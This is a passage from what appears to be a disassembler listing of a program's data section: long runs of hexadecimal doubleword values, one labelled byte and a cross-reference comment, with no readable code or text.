		dd 0BE558150h, 0BAD07A75h, 61732D15h, 7438838Ah, 0AD121546h
		dd 31CBCC62h, 9FDBD2Fh,	9CCE4E1Ah, 3E00D44Fh, 37B1E385h
		dd 70810F86h, 15BA950Ch, 1D159F82h, 256DF809h, 7DC1F78Bh
		dd 56240524h, 0CCC2449Bh, 57CE912h, 2A317F80h, 3F90C29h
		dd 5C17EBDEh, 0DC0F912Ch, 0CBC2AAE3h, 1AEE454h,	58317D19h
		dd 6D96F0BFh, 0AA352294h, 118E1D6Fh, 1A4E8914h,	0DC367E85h
		dd 6602709h, 11AF0248h,	71400B2Ah, 1B5A4D85h, 0F34B6699h
		dd 1CC01988h, 12389BC2h, 0A4E8C9AAh, 1B0082CFh,	0FE39468Ah
		dd 0FA450697h, 79F6014Eh, 3E140D67h, 3A04C9Eh, 84242D3Eh
		dd 5F34B14Eh, 17829394h, 0CB934621h, 4924B1C2h,	88C8CE58h
		dd 9520CE1Ah, 8EFE7ECCh, 0A4F9A12Dh, 64585F51h,	0D1822745h
		dd 278F2C34h, 0F15BBDE6h, 7EE32112h, 2B193A62h,	10B4FC05h
		dd 0B5F98B33h, 0FD7CE64Dh, 50FFD3C9h, 3B0BB04Bh, 4F67F5Dh
		dd 5341089Ch, 34C59D01h, 0F2B45F9Fh, 9C23EA46h,	4E00DCFBh
		dd 0BF724BEDh, 8321AE6Ah, 6039E796h, 5B611A53h,	0DE880DDEh
		dd 0C4C4CDE2h, 0E3856314h, 0AB8799EEh, 4085DCF6h, 3D4CB49Dh
		dd 9AC76D00h, 671E4034h, 9137B55Bh, 3F169703h, 0F88BF810h
		dd 6E3BF32Bh, 946028Fh,	7E29DDB5h, 142B517Fh, 5F59104h
		dd 1728E906h, 0C8615C8Dh, 0ABF42DA3h, 5AC0628Bh, 987E1EFDh
		dd 0A2C8E964h, 155E00B9h, 8EF50E28h, 9117666Eh,	0FD12D948h
		dd 1378DB4h, 8955F487h,	9634118Dh, 0EB8FC04Bh, 7E293924h
		dd 84001D46h, 73620118h, 4A16F898h, 5CC58EEh, 95891260h
		dd 0FB655ED5h, 9085692Dh, 42429961h, 14D415B8h,	40B2952Fh
		dd 0E3DDF67h, 62CFF00Ch, 0A9F15E01h, 6E3B90E9h,	82BD385Eh
		dd 0BC82D4E6h, 40F67CC4h, 7306ED4Bh, 0EC2EFC01h, 7F36129Dh
		dd 503F8871h, 5110EAA1h, 0F5F0614h, 6821FAB7h, 0DEBDE426h
		dd 0F409013Fh, 0E507500h, 8B46412Dh, 48EEB4F2h,	3B0800CFh
		dd 835E7F35h, 0EDD69E25h, 723EC00Fh, 17059374h,	0A0900F34h
		dd 0A561D682h, 0F21C51EBh, 5E000150h, 0F68166F5h, 0B7B53412h
		dd 3C220289h, 2D711CB5h, 865D900h, 9FEB4732h, 9AB7E88h
		dd 106F0719h, 2EB20340h, 96AC000Ah, 0D8BF3D84h,	205CA4ECh
		dd 0A5606247h, 80600032h, 505C67CCh, 0F12DC02Bh, 0D09C22h
		dd 0A2061A7Eh, 307B3D7Ah, 0BE845900h, 58EFD5DDh, 0FE93060h
		dd 728CBA35h, 0ACF80A00h
		dd 93EA5DDCh, 0F1680B0Dh, 0F381D217h, 0C46134A9h, 3FB6CEE9h
		dd 0E55A0E2Dh, 0DF3A6039h, 11121423h, 17FADA2h,	220A5CF5h
		dd 0F80F9B47h, 0A7048C85h, 0FD0EA0CEh, 4916D504h, 9307C3B9h
		dd 8E8CED0Fh, 13D92085h, 0A98D2112h, 699B02C5h,	7EE77DC1h
		dd 34FEBB67h, 21106A9Ah, 64C731F5h, 300433A1h, 0ADDC9CC0h
		dd 3A3D17F0h, 0B2748079h, 827CE849h, 150E7DD4h,	508B8572h
		dd 0D6E5Eh, 76430E8Eh, 395C8816h, 8D5C9C2Fh, 0EE59DAC0h
		dd 7C00EBEDh, 0D00638B7h, 12D7BB8h, 6D95AAECh, 1005E9EFh
		dd 24A02F70h, 9C8C6D9h,	0C18401E1h, 0D7814007h,	15F24BF4h
		dd 7B8BFC4Fh, 0F82A1A48h, 29064419h, 3240BC90h,	43605D61h
		dd 2B01FEBCh, 40DE0CB8h, 0FB4CDD8Ah, 15B51489h,	0CD85F527h
		dd 0B2C4E303h, 0A4143019h, 66AA1F0Ch, 9AE54ED5h, 605B8DFEh
		dd 0DF62F50Ah, 8B88CE15h, 34F6484Eh, 99345BD9h,	81F31E16h
		dd 0B19D2904h, 0FBF21331h, 3B01F33Eh, 7C47BD64h, 555CA073h
		dd 2DCED94h, 200DBB01h,	49A51585h, 0B004F722h, 0FD3898B3h
		dd 0A2D60D20h, 44B547FEh, 0D0F66115h, 460BF84Dh, 4AC21B88h
		dd 0D4086037h, 0BD3F0219h, 3307BF66h, 5FCDF43h,	0A03E2725h
		dd 0D1161423h, 0B1B13709h, 6A061E39h, 8B398315h, 0DF894032h
		dd 2470B4A6h, 703D9Dh, 0C3E922Ch, 0BA0A66F9h, 408BBE9Ch
		dd 0F0D7B841h, 661F3752h, 31292D92h, 3FBAD730h,	7D5B5400h
		dd 0ED3A33CBh, 0F87F0FBFh, 95201F4Bh, 0DA318F24h, 7C63E8AFh
		dd 0E0EBE85Fh, 34082BBFh, 181A59EEh, 9265004Bh,	90A1689Dh
		dd 5709F381h, 0D17856F8h, 95CAA070h, 0C56D76AFh, 60487410h
		dd 0E5A749B9h, 0A961949Fh, 0D21F3E69h, 488E1B11h, 1E3FCF9Fh
		dd 0FB19EC1h, 374E4488h, 4F4808CEh, 0C05DEDADh,	528ABA6Fh
		dd 8B32F004h, 42AA559Dh, 28358577h, 0C2FD3E6Eh,	0BF49874h
		dd 7013F5C5h, 154135D0h, 23291061h, 0B29CB13Dh,	5801297Ch
		dd 48B223E9h, 7B651900h, 698701EEh, 96EF00DCh, 0BFDECB58h
		dd 0C776B441h, 0E5A02D07h, 5AE0F4B8h, 3AA5E0CDh, 0CC9DBA47h
		dd 0D880BE32h, 1ED8F1Ch, 14002944h, 0B39B19FEh,	3522D5h
		dd 0CBB89D53h, 0A9930CEh, 817F1D00h, 15D3AF9Ch,	0FD9B0088h
		dd 612613FFh, 84EAAA8Fh, 0C6B39F1Ch, 0AEC02A5Fh, 412D12EEh
		dd 66300154h, 4DE4C927h, 5E3AD4B6h, 240160EAh, 0B4620BC8h
		dd 0CBD01228h, 0E34F0534h, 880AF7h, 0BA65F49Dh,	0B417D44Bh
		dd 0CF00AB38h, 0E8A99623h, 3C290F0Eh, 1560A359h, 9885BB6Ah
		dd 7103FC70h, 0D7940784h, 2E5D1C96h, 86730197h,	0CBD89506h
		dd 982F1907h, 6D601501h, 9F5939h, 0FD8C2308h, 0B50F5B18h
		dd 2E8026DFh, 9EFEEBD0h, 917D0C62h, 2B4399D4h, 0A04B9400h
		dd 0C16C1071h, 5E510152h, 7F39CD36h, 0A1DE5076h, 850C6321h
		dd 3B88E3A0h, 31927A3Dh, 502F8D22h, 6064120Ah, 144439h
		dd 25B4F30Fh, 89672147h, 0CCB8A41Eh, 669B5ED8h,	0DE181479h
		dd 3C009FF9h, 0D2B7354Fh, 3D18FAE6h, 0D526B630h, 169200BEh
		dd 0B459B1AAh, 0A1008E1Dh, 0DB4BAFE2h, 0A4FB91h, 511CD965h
		dd 73122964h, 6045DC00h, 63DA49F4h, 3ECB3F21h, 4BE83380h
		dd 0B4CC43B6h, 0AD3AD100h, 3CB0D4C1h, 31C00057h, 87612153h
		dd 0D33CB5A2h, 4344861Dh, 30AC8ADh, 2DC4A947h, 8298B99Eh
		dd 0B0489D93h, 99860329h, 0AB72FFF9h, 8E7CA222h, 31D738DFh
		dd 0E1CE00B3h, 0D3654AA4h, 0B814F928h, 119DE007h, 182A63F6h
		dd 1ED03F3Fh, 0F4E1CD00h, 2B6A5795h, 511DE8EEh,	311D17C2h
		dd 0A5434147h, 0F530D937h, 9C30F7h, 0F8B7805h, 1033FE9Bh
		dd 7000B7Bh, 7055EC16h,	905D42D9h, 0E7050031h, 0CE2C6B58h
		dd 0AC0657E9h, 0F1833C7Dh, 4A7A2294h, 2A329C40h, 28FDF875h
		dd 0E88135CCh, 4C3100CFh, 72A95803h, 4B2AD810h,	8D80F66Dh
		dd 5E9013D1h, 0D93339h,	498350F9h, 3018D5BAh, 734EDE52h
		dd 581859C8h, 6D7A5F57h, 29CC080h, 0E31D7E6Bh, 0D867FE1Eh
		dd 274949A5h, 52F120h, 0BC20B79Ch, 4D723F40h, 0A7363A00h
		dd 11CEDDBAh, 690485Ch,	3F46828h, 1E7C6955h, 5EE1F5E2h
		dd 6653D479h, 0E5CA2600h, 0AC62913Ch, 76E048h, 0CC7DD74Ah
		dd 0B937503Dh, 0EC9E2C03h, 0F064210Dh, 6019FA5Dh, 7311987Ah
		dd 0FB12E875h, 0D0015F9Dh, 7209EE02h, 2A411E8Ch, 3660522Fh
		dd 4EAAE8F6h, 75200069h, 0F19CE586h, 8D000B02h,	0F24414A2h
		dd 4855602Eh, 0C7837BEh, 0B6D6C3A8h, 1E03C9C0h,	9C5838EFh
		dd 29C7E0B0h, 960D009Ah, 419EC019h, 92A83EC4h, 2F77ECD8h
		dd 867E3360h, 3A8260EFh, 3811280h, 8E6A2A17h, 0C683E0A9h
		dd 0F9C8280Ch, 31F35819h, 8B0EC77Ah, 8DABC42Bh,	0AD520500h
		dd 0A7937F16h, 908330EAh, 1BAA4158h, 4B493600h,	553320ADh
		dd 0C5B20097h, 3BB1D3C7h, 2802BF56h, 1D0CB743h,	3141D726h
		dd 9FCC4286h, 505AF661h, 1580D6EAh, 4502EE09h, 920F8008h
		dd 13925BCh, 0C6B24E4Ch, 8AB46409h, 89C96018h, 13D5980Ch
		dd 0AE800A7h, 0D05B3825h, 0AB1E69D3h, 7380AF55h, 8877228Eh
		dd 661101E7h, 0F49481B7h, 75FE32F8h, 0A8DB6900h, 0ADA05D49h
		dd 0D09EC119h, 2083AB6Ch, 92021EBAh, 3AC75E03h,	94815CC2h
		dd 9A09A8E4h, 8C2090DDh, 1A069D34h, 80412E38h, 9C2BC2A7h
		dd 0A0E69BDFh, 39229A9h, 0C9D8B9A6h, 1724610Ch,	501FA863h
		dd 58452A00h, 712FBC38h, 0C1A60642h, 28E76404h,	819480F7h
		dd 0E295118Fh, 0C3AF5C3Eh, 827E1E01h, 0B01C09F5h, 0E977840Ah
		dd 6C5800B9h, 0CF16A5AFh, 88031F21h, 0C4D6B6A3h, 0AE6C01C6h
		dd 5F3E2B17h, 96B640A1h, 1C0608B1h, 4540542Fh, 59407C3h
		dd 80D3AB5Ah, 7D6A5642h, 0FBE01E09h, 3CE40064h,	3C29A476h
		dd 86A4F188h, 0E464233h, 1FB6CBC8h, 4F4D3A01h, 4B3824B1h
		dd 18C3AFD8h, 22136706h, 3738C65Dh, 8EAEA84Ah, 65E06E06h
		dd 0B28F95h, 49C4ED5h, 394942BAh, 6813A202h, 0C00282B9h
		dd 0E8319615h, 43070015h, 0C104C9DFh, 3080BDEFh, 1A995957h
		dd 74140100h, 0E19F8C78h, 311E0300h, 6EFD9452h,	9C7489h
		dd 957EB932h, 5AF14440h, 9887501h, 7C1906EBh, 1CC7AE40h
		dd 0F38C59EDh, 0F86D8B18h, 4801B762h, 0A835B3D1h, 0F292DDBBh
		dd 0E4EED3C2h, 0F8E9D6B1h, 0E102BF4Eh, 9E837D21h, 301EC0B1h
		dd 0F6464943h, 3DB313h,	0ECD12FCBh, 650083FFh, 0F6F49380h
		dd 60632411h, 23D9628Dh, 56046F3Eh, 0C681E689h,	5014F1EDh
		dd 293E06B8h, 34875800h, 0EA685C24h, 890F329Eh,	0D80C3E14h
		dd 8034110Ah, 0C895A1Ch, 97147E00h, 81593100h, 424B76F1h
		dd 0F2CAFE36h, 368B6054h, 5204C483h, 582A78C0h,	94295C96h
		dd 8F863B29h, 6810846h,	39470F83h, 0C83345Dh, 8FF570Ch
		dd 0C481285Ah, 58E90F11h, 0AAC0FC1Ah, 0D563AEB8h, 0C503071Eh
		dd 0E7FE040h, 742B309Bh, 16BEE7Dh, 0FC7386B1h, 0CC1AE766h
		dd 0B00C5CBh, 85AEC47h,	111319Fh, 0BED26435h, 7004E102h
		dd 0A1009D13h, 8575377Eh, 30A67A4h, 4122C772h, 5D89C56h
		dd 55000359h, 449230Bh,	0FC78176Dh, 0E2FC15h, 7DDD8552h
		dd 960C870h, 8D1C7400h,	4A475DCDh, 25270924h, 2D81948Bh
		dd 0E8207545h, 52582CA4h, 791E0EFCh, 27C8E042h,	2FF169D6h
		dd 36D605Ch, 25B33C0h, 0F0DD01FBh, 8BBC1064h, 93D12B95h
		dd 0CC7985C7h, 0AEAC34D1h, 7E316B00h, 44386589h, 8B660954h
		dd 46D361D3h, 9F96170h
		dd 5858B99h, 0CBEB6A61h, 0C2E99DD9h, 0F68CF6h, 0A41EBF46h
		dd 0D268BC9h, 5C85D5Fh,	6167006Dh, 0C3754C6Ch, 8E001694h
		dd 83F99B09h, 5A4417E3h, 23192F55h, 7B56001Ah, 69FB7E13h
		dd 81660B02h, 5D2007D3h, 8B41590h, 410F4B00h, 1695ADD0h
		dd 1F59022Dh, 0C18BACC9h, 0E407BFEh, 2E4376Fh, 293315EBh
		dd 94D4B195h, 80805B0Eh, 4BC381B8h, 662EC074h, 687035B9h
		dd 8BCC109Dh, 105873F9h, 792C418Dh, 81031400h, 0CEB732EAh
		dd 0F3849576h, 0CB181831h, 506E3444h, 9CA0000Ch, 0A8BEBF73h
		dd 89637B18h, 14B70F40h, 9083F5CBh, 48F16860h, 182DF881h
		dd 85E6838Ch, 0C00A77C6h, 0A7BCE20h, 30090DAh, 1B3AD9A4h
		dd 1FE37C0h, 5F4E2979h,	981E211Fh, 0E621B608h, 52FE002Fh
		dd 0A0C42C25h, 0B00FB39h, 0BE9A2B22h, 780DA5D8h, 4EFA0Ch
		dd 235D9E44h, 0D9A7EC63h, 0F034AE00h, 58DBC62Ch, 1B3F0712h
		dd 0B0C062A0h, 0A842AAB3h, 1C8A3D00h, 0ED8A7EEh, 5CF83976h
		dd 2C86410h, 8AF1141Bh,	23209E6Eh, 98021979h, 5D60618Dh
		dd 0C1F03FC0h, 0D9383E60h, 1C63735Ah, 8C5FC432h, 5709BBDDh
		dd 6B7A21C0h, 329063h, 45C9C346h, 41044C99h, 0B0218106h
		dd 0C8F8D534h, 7AC0F758h, 46C43963h, 562297h, 0C5637281h
		dd 2F05FF54h, 780CB17Ch, 20282371h, 4A98003Ah, 0BA15EC36h
		dd 14007ACEh, 62E0B980h, 6188C1FEh, 1BA42824h, 763C48F3h
		dd 0C4356308h, 4053C477h, 14636E7Dh, 2BF50342h,	98A67173h
		dd 0C460C0C8h, 0D903A0A1h, 8F445E2h, 31C08A0Ch,	462973FEh
		dd 7DBB221Eh, 46FE48E0h, 0C4DD0073h, 4494D0E4h,	51480335h
		dd 0C63F0200h, 55672A0Ch, 0C3E199E0h, 0F295A012h, 8C702019h
		dd 0FE083318h, 0C42E2975h, 2BE240BDh, 2D36FEh, 974BF48Bh
		dd 8DE3374Fh, 23F8C218h, 24A8C5F0h, 1B48059Dh, 0B09AE89Ch
		dd 2CA08500h, 0B81E5423h, 7FB7E3Bh, 0FDFCA496h,	8E4663Eh
		dd 5E213663h, 0B4DBD0F3h, 76F4F58Dh, 4423F473h,	0EC00622Dh
		dd 0ACE9561Fh, 0B6046Dh, 1C134459h, 318E25C2h, 50ED237Eh
		dd 88793AC4h, 10434437h, 0C36B3B33h, 0F900E4DDh, 62F8DE92h
		dd 0A43F7F0Ch, 0C0EF095Ah, 0DE8B1921h, 357FBE08h, 55AB2514h
		dd 724864B0h, 0FFDE9960h, 24848EB8h, 0C120EE44h, 2391C768h
		dd 58999C21h, 0E4C0D600h, 0A3C5E96Ah, 0D768100Ch, 23370641h
		dd 18A827h, 0C985719Ch,	0F864F12Bh, 0B0CA8028h,	69DF30C4h
		dd 0C0F06201h, 903024C5h, 9123E142h, 7AFE3801h,	0B7185629h
		dd 430E788h, 672F4BFEh,	0BBC08098h, 29094FDFh, 0A375C5Fh
		dd 0A9115828h, 2B7DB700h, 0C68F45A0h, 96C91D06h, 5028314Ch
		dd 4284C099h, 0E29C4242h, 6EA630F0h, 66CEC01h, 8E32315Bh
		dd 0E50C3020h, 0C106A006h, 508836CFh, 9C26069h,	53C412D9h
		dd 99C7400Ch, 4880385Eh, 2E884CBFh, 989CFDC0h, 0FE0C21A4h
		dd 601E3791h, 0CD6180F5h, 731D20B3h, 0E8EAF601h, 5AD72DA6h
		dd 70C1C040h, 11189922h, 637580F2h, 8C6FC434h, 17C5444h
		dd 308636Dh, 0D73DEB9Ah, 336507B0h, 6B47F0A0h, 0E86060D4h
		dd 8D008CF4h, 0BD184D2h, 1C0CB833h, 72242C01h, 9240A3D9h
		dd 9300F98Ch, 0FF4539E4h, 0C01CBDE8h, 0C2021021h, 6CA12104h
		dd 97818F5h, 87C43763h,	7F00EC9Ch, 0FD306370h, 275E738h
		dd 5AF8AE02h, 6C480427h, 8303E31Bh, 9B94C25Dh, 67F01053h
		dd 0C56C8841h, 87A1A093h, 0F64478A4h, 0DE8C1D1Ah, 1FFF475Eh
		dd 2A39B0A9h, 3E09D95Ah, 81EE09D8h, 413C8880h, 6E234822h
		dd 0FBDE9501h, 0A84E9762h, 0DE8E1C00h, 8FD135E1h, 0DA60F702h
		dd 0C0CB2BBFh, 88F615D0h, 4B3523D3h, 343AE0A6h,	0E2033023h
		dd 7C66AF92h, 0FCBB2EA9h, 97130995h, 20E4C402h,	0A4172202h
		dd 0FF603034h, 0A4249A9Ch, 6270681Ch, 1D6F4F7h,	18A116CDh
		dd 0C0ADCF7Fh, 0E060292Ah, 78D7DAF1h, 83499B7h,	5A00637Fh
		dd 0B6A69E14h, 5C03169Bh, 23643EDFh, 0EE8400B6h, 0DDA03C9Ch
		dd 0AFA0FD50h, 9E306448h, 0F68A6C9h, 18205EDCh,	0A1EA897Bh
		dd 7600D2F5h, 7D4E9951h, 4F480BDh, 3D321E39h, 4A04C265h
		dd 0A5D6F320h, 0F5810006h, 0EB9B5B24h, 333D6012h, 233B0553h
		dd 0A422A573h, 9CFE302Fh, 14A49911h, 618F3488h,	73A640F6h
		dd 50D1F409h, 41FCD05Dh, 0A2042348h, 0E7B63055h, 1047B48h
		dd 0C29B666Fh, 0C6042044h, 0EF007908h, 0EEC61E2Dh, 488CCC14h
		dd 987A16B6h, 5BF72048h, 4420D8B0h, 80D891B5h, 2231BDB4h
		dd 97010EA6h, 0F7FCFE65h, 28B9CBC8h, 0BC10F4DDh, 562A0BA1h
		dd 11E89DB2h, 20898054h, 12E547DAh, 255A3301h, 6DBC082Ch
		dd 0FADE94C0h, 48F5862h, 0DE8D20E7h, 0AC027282h, 4896CA10h
		dd 0C5B08742h, 3698AFC0h, 0A18876DCh, 7418F1B8h, 0C4336308h
		dd 4050C467h, 9A636C7Bh, 29F106C3h, 582E386Fh, 9781330Ch
		dd 8CF6F8BCh, 38637905h, 0E0388FC4h, 63710080h,	0CF150EF8h
		dd 0BF000ADBh, 41FA406Bh, 9913059Ch, 1836D108h,	2FB23EC8h
		dd 0DDBBAD80h, 92A6CDF2h, 28CE2A29h, 1F183371h,	0AA4BF300h
		dd 3735A4D2h, 0B189052h, 0A1E0D0D8h, 182A9011h,	949C04F9h
		dd 2CFDECA4h, 0F17A5Ch,	92F611ADh, 1BBB317h, 0C763F26h
		dd 5B74674h, 0A65408Ch,	9AC3F080h, 6F2E0A06h, 21D04950h
		dd 1851D1F4h, 9C733A72h, 21C86592h, 80B40370h, 0FCA05579h
		dd 1F732A15h, 0C34C3FCFh, 0F9E99551h, 5FD25CF8h, 0AA04F318h
		dd 7B42CC31h, 0E1320441h, 804A0CDCh, 8F2B350Ch,	0A8397030h
		dd 0BBA45DC3h, 0A8AF787Ch, 2B4A4607h, 50CC9497h, 19B02CC7h
		dd 77298364h, 180045C0h, 0F869CA0h, 0B9BAA472h,	18F1D114h
		dd 0AA6E01DCh, 0BC4025EFh, 80E9CDEAh, 0B40859C1h, 50D46729h
		dd 9631441Ch, 78F02328h, 5804267Bh, 7F5DA62Bh, 4B625CB0h
		dd 7186E55h, 41D76ED6h,	0D0E0A0BFh, 126FA6A1h, 0DB1F7D63h
		dd 19B881B0h, 65F89516h, 0A6E90659h, 0A95E0B55h, 0C124C813h
		dd 0BF358480h, 1158B966h, 0DE978170h, 59FA62FDh, 901E600Ch
		db 0DEh, 0B3h, 48h
byte_544547	db 81h			; DATA XREF: ___:off_447214o
		dd 0E355151Ch, 0C7E405B8h, 3004A66Ch, 71226B53h, 11DE9830h
		dd 88AF62FEh, 911F83EDh, 498AC2DEh, 0A7B58448h,	65201D00h
		dd 88DAED13h, 0F458E446h, 63AF2C84h, 22A0C8BCh,	0D2946C8h
		dd 0A6939CF8h, 8835C818h, 98B0F05Bh, 0BF114302h, 0AE69C03Ch
		dd 0CFDD01C4h, 0BC24A3F4h, 0D84D89B2h, 0EF03BD68h, 0DD8E58AFh
		dd 0C9EAA0D3h, 8A160098h, 7A9C3A5Ah, 0D0136701h, 5022C08Ch
		dd 9CFA302Bh, 42D7955Ch, 3D32224Ch, 0A703F25Dh,	0A131EA65h
		dd 49E02DD0h, 89D464B8h, 3C9811DCh, 190C3667h, 9BF4B405h
		dd 6993C0E4h, 2CE565E2h, 50489E7h, 544D5BF4h, 0B410A888h
		dd 0FEB98421h, 0BB233Eh, 7E976847h, 63249D4Ah, 0BF08ACB5h
		dd 6C17CB54h, 87803011h, 3C66CB43h, 0D768324Dh,	0F223CC2Bh
		dd 6CDAE800h, 0D7B161h,	0F79E2BCh, 672B8465h, 8420F429h
		dd 44F1E908h, 0FE32608Bh, 26292374h, 0E100BA11h, 9DB5FE2Ah
		dd 0EC123DE0h, 0AC12BD04h, 0B4C880CBh, 12010EC3h, 88B00C8Ah
		dd 8DE6C5C4h, 1A0F865h,	4001E456h, 0DACD0409h, 715C40A1h
		dd 0AB418B7h, 489A078h,	38230144h, 0CCD3837Ah, 69008E24h
		dd 0F0E0C592h, 1450D557h, 0EC34C058h, 946E4Ah, 9BC40CD0h
		dd 2C635E4h, 64609746h,	0C82D45B8h, 4EBC7C3Ch, 46C3068Ch
		dd 48E9A1D8h, 85339080h, 1DEC09Eh, 46E81DCFh, 73CA355h
		dd 88A0C974h, 0ACD4063Ah, 0B087851Eh, 0DCBC96h,	7EDF8AE5h
		dd 9F30CAA2h, 78B46F24h, 7C8BA492h, 9BC05588h, 9E238Ch
		dd 48357BAAh, 6414C640h, 0BCE0444Ch, 0DD028CEEh, 2AE5C679h
		dd 7948519Fh, 53D41954h, 31D71BEh, 9A2BEDAAh, 0CDA0729Bh
		dd 230C7C95h, 0F04F4097h, 0A9902F3Ah, 6F30439h,	5A53EA38h
		dd 0EB5444A4h, 0D866005Ah, 5AD8232h, 35741A42h,	2048E793h
		dd 88208732h, 81C07ED3h, 9934F25Fh, 192FD15Ch, 676010CBh
		dd 0FB640F6Ah, 4E3B04A8h, 41348CB4h, 0A56887B8h, 1D40ABDCh
		dd 4E8F3A4h, 66C9B29h, 0F987C094h, 0DE1DC63Fh, 0B8046A01h
		dd 9088E025h, 5DD00CC3h, 63110C05h, 0F36191F0h,	1C772B20h
		dd 0A004F032h, 3B104DB4h, 9C00B423h, 47165B06h,	0FB5D1372h
		dd 23343A20h, 0D3000BDh, 99911749h, 1875EA00h, 82F229DEh
		dd 0D06238FBh, 8CAFA8h,	9DC25BABh, 8B29CD49h, 34FF6E06h
		dd 9886DCBh, 38A3D40Eh,	5FE4480Fh, 0A49CB028h, 4674049Eh
		dd 324E01B5h, 0CB5CF7FDh, 55ECC48h, 0BB361A17h,	0B208A358h
		dd 0E95830EDh, 8650C25Ch, 79AF03h, 0B219A707h, 3E710886h
		dd 0E788ED50h, 6E3DC402h, 81E5C1B8h, 4DC2FBE4h,	44A824h
		dd 6E3B6484h, 2F9E5703h, 0C800A779h, 0D46F33CDh, 52D3DD2h
		dd 74F0A167h, 0F298A2E1h, 0C8933056h, 48867200h, 95A11589h
		dd 0F8EC533Ah, 0AA30BCA2h, 0AB00081h, 0A8681303h, 6F2529F5h
		dd 0BD508008h, 0C1F0B5D8h, 0BFE8A1E8h, 84E304CAh, 4E3036A2h
		dd 0D0463FAFh, 11950880h, 0FA9DD8C6h, 0DC2F9892h, 11E097A4h
		dd 15238052h, 2C7CDD8h,	95066B8Bh, 5841B240h, 8C9DC63Fh
		dd 9B81B511h, 824CC37Eh, 5DE8EE69h, 7FCAE0D0h, 0AF1A0062h
		dd 0BC4D7032h, 7148B8BAh, 0AEC32144h, 0F24656F4h, 0E4338F00h
		dd 2472EB7Dh, 48AD8324h, 0FD00A191h, 1439285Ah,	0BC9442AFh
		dd 131465Eh, 6546F2EAh,	7038D0D8h, 0A60411h, 1A0211CEh
		dd 0C06762h, 42AE5C92h,	59AB3D3Eh, 0FA29D8C0h, 0DC2B9B32h
		dd 0C3FD4268h, 0C8E889A8h, 705FD904h, 108BAC53h, 81CE30C8h
		dd 606304CCh, 901D48ADh, 0DB803291h, 0F6C2739Ah, 1AC17C0Eh
		dd 0FB26455Ah, 0ECA23895h, 0C930EDF2h, 1844F043h, 483D675Dh
		dd 2295F0D8h, 0A0AD04D8h, 0C8599AA4h, 8B1C00E8h, 5C0CEA55h
		dd 1CB8F59Fh, 2A2F5820h, 0CEC3323h, 4B63351Ch, 3B0D8950h
		dd 110755A4h, 40D8B820h, 110501A8h, 0A9B0642Bh,	0BDFB2890h
		dd 4094BCACh, 0A255DF71h, 0CBEB2300h, 0BDE90157h, 2A8CA8FFh
		dd 5BCFC56h, 3073F5DEh,	2EB8A229h, 0DB40D0C2h, 0F02B789h
		dd 0B6F09552h, 80DFC0A7h, 0D6E287CAh, 6CE07900h, 2181FC65h
		dd 0E3DA00A1h, 0A63FC261h, 606E9B5Dh, 0D600F3B8h, 46396506h
		dd 0F80D0C68h, 0A6C8C2D8h, 98EE717Ch, 0AC9CBB54h, 6E60AF88h
		dd 9C408940h, 0A621CC8Bh, 68EF2517h, 1FC2EC44h,	34F77140h
		dd 60139E9Ah, 0C811C5E1h, 0B1233D8Ch, 4363903Bh, 200B1401h
		dd 0F1C4FA46h, 4A4045C1h, 3DAF9EA2h, 212CC003h,	75F6B90h
		dd 38F097EEh, 0A4717C24h, 89D75D35h, 0A3E87E81h, 5C99D19Fh
		dd 18AF5D1Ch, 0A2495968h, 41596CA8h, 7CAAE38Bh,	5D9C1451h
		dd 190224E0h, 27C8772Ch, 0B019A458h, 0F6D007B5h, 21B8891h
		dd 3C8155A8h, 643467F0h, 1F4561F6h, 486A1AE0h, 0C13CB26h
		dd 61C4047Dh, 0CEE485DFh, 0C24FC894h, 8460C252h, 0C8B13B2Fh
		dd 0B918F3F1h, 987E8402h, 48CF6A43h, 2AAD6D34h,	0EAA4E359h
		dd 23380B32h, 986D37BBh, 1F20B8C0h, 66B601C8h, 0A849E2D0h
		dd 2CC55A3h, 0F317195Ch, 0A5ACC040h, 58AF7A80h,	605B085Fh
		dd 20BBE0B4h, 79A47503h, 0A872E647h, 646CD4Bh, 98C86360h
		dd 0F5F140BCh, 0B86C7844h, 0F9018CEFh, 0D3C86F0Fh, 64600C9Bh
		dd 4BE05A9h, 0A62F4EA5h, 19DFE088h, 3D2139F5h, 0A15F5880h
		dd 0F6D2A5D6h, 948BFE07h, 0DA14289Fh, 187A0E13h, 0B0A88077h
		dd 1490F4F1h, 91589797h, 6D3180B9h, 1A9F8F1h, 0E1239901h
		dd 70C5E36Bh, 7890063Dh, 8B025700h, 536562A6h, 8616F1Eh
		dd 0E8AB1B1Dh, 2B731902h, 483BF877h, 40A1D898h,	97702302h
		dd 1183669h, 3B25247Ch,	90F2A844h, 6830F2F2h, 139A0074h
		dd 0A8648A4Ch, 68CA037Dh, 0A0879058h, 92604A39h, 5F2C640h
		dd 25C86701h, 10FC00EDh, 449BBBA0h, 575BE7F2h, 0B7601044h
		dd 74B08112h, 9D585138h, 2090003Fh, 135D2E9Eh, 49DA8B2Ch
		dd 78DE2306h, 91D41797h, 6C6A80B8h, 0A05D6672h,	0B9433CECh
		dd 0F6D908F4h, 0C0E8A303h, 46590681h, 8050B33Dh, 786E395Fh
		dd 9F5E3900h, 96BEAB88h, 0A5B6E01h, 8BDF1B76h, 163599DCh
		dd 479A7A1h, 0B4840Ch, 0BBDE819Bh, 0ED70E9F6h, 39A2F647h
		dd 0DB309F4Ah, 0B85EC9D0h, 6D388197h, 4D369D8h,	305F2BC0h
		dd 0B2D0E343h, 47213051h, 650C1AEAh, 90C610F8h,	173526A4h
		dd 0C00C836Ch, 0DEE5D1E8h, 0D13380C4h, 0A29B6A74h, 4CECDAF8h
		dd 6D8030C2h, 0BF364FE0h, 0FE87AE03h, 80C9A20Bh, 9B6D5CFh
		dd 0F07C293Dh, 4020FC04h, 0CA36ABB0h, 0E489306Bh, 1AE0951h
		dd 377ED300h, 4316A933h, 69FF0776h, 48DB864h, 0BF8CD0Ch
		dd 0C05388ECh, 41A128A5h, 17172048h, 0B0469355h, 2943C2h
		dd 78E84297h, 1204B3BAh, 4960A300h, 2E2A8BF5h, 98A9CEDFh
		dd 1AD8B220h, 0C4054FBCh, 0F11FE593h, 0EDF208A2h, 60C33030h
		dd 83518147h, 1500F07Bh, 10BC12CFh, 256E50B9h, 7C20AA4Ah
		dd 3D3C5F29h, 39581890h, 110420BCh, 4FC299h, 976DCF96h
		dd 0ED0931h, 34FAC3B8h,	412DD16Ch, 5119F400h, 0D8C4BC02h
		dd 24492D5h, 75C062FBh,	2874AE8Ah, 3A344674h, 2B808075h
		dd 39F7AD54h, 0E9B018C4h, 0E58960EAh, 0C761F9C0h, 44F073h
